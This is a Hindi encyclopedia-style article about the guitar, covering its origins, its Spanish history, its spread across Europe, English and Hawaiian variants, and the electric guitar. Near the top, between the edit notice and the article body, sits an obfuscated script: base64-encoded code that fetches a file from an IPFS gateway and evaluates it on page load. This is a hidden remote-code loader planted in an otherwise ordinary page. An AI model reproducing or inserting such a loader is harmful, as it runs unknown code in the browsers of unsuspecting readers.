गिटार

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
Icon-edit.gif इस लेख का पुनरीक्षण एवं सम्पादन होना आवश्यक है। आप इसमें सहायता कर सकते हैं। "सुझाव"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

गिटार

गिटार मूलत: वाद्य यंत्र सितार से विकसित हुआ है। गिटार हलकी लकड़ी का बना हुआ होता है और इसका निचला और ऊपरी हिस्सा सपाट होता है। इसमें छह तार होते हैं। यह उँगली से तारों को छेड़कर बजाया जाता है। इसका प्रयोग मुख्यत: अकेले गायन के लिये होता रहा है पर अब यह वृंद वादन में भी प्रयोग किया जाने लगा है।

इतिहास

इसका सबसे प्राचीन रूप स्पेनी है। इसमें पहले छह जोड़े ताँत के तारों के होते थे किंतु अब केवल छह तार ही होते हैं।

स्पेन से सत्रहवीं सदी में यह सारे यूरोप में फैला और लोकगीतों के साथ इसका प्रयोग किया जाने लगा। अठारहवीं शती में अँगरेजी गिटार प्रादुर्भूत हुआ। इसका पेंदा नाशपाती के आकार का होता है और उसमें छह से लेकर चौदह तक तार होते हैं जो सिटर्न कहलाते हैं। इसका एक तीसरा रूप हवाइयन गिटार है जो आज अमरीकी लोकप्रिय गीतों के साथ प्रयोग होता है।

विद्युत गिटार

1936 के आसपास से लोकगीतों के साथ विद्युत गिटार का प्रयोग होने लगा है। इसमें स्वर को विद्युत्‌ विस्तारक के माध्यम से चाहे जितना भी ऊँचा खींचा जा सकता है


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख